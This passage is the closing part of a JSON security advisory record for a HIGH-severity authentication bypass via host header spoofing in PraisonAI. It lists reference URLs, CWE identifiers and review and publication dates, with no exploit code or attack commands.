    "url" : "https://github.com/MervinPraison/PraisonAI/commit/2a855c470077c7d2e2479a575f7ef7f548d51c33"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/MervinPraison/PraisonAI/commit/846568c7a5d8ce9e71e56e4c213f027c04909753"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/MervinPraison/PraisonAI"
  }, {
    "type" : "WEB",
    "url" : "https://www.vulncheck.com/advisories/praisonai-before-authentication-bypass-via-host-header-spoofing"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-287", "CWE-306", "CWE-346" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-10-08T19:36:26Z",
    "nvd_published_at" : "2026-07-15T17:16:52Z"
  }
}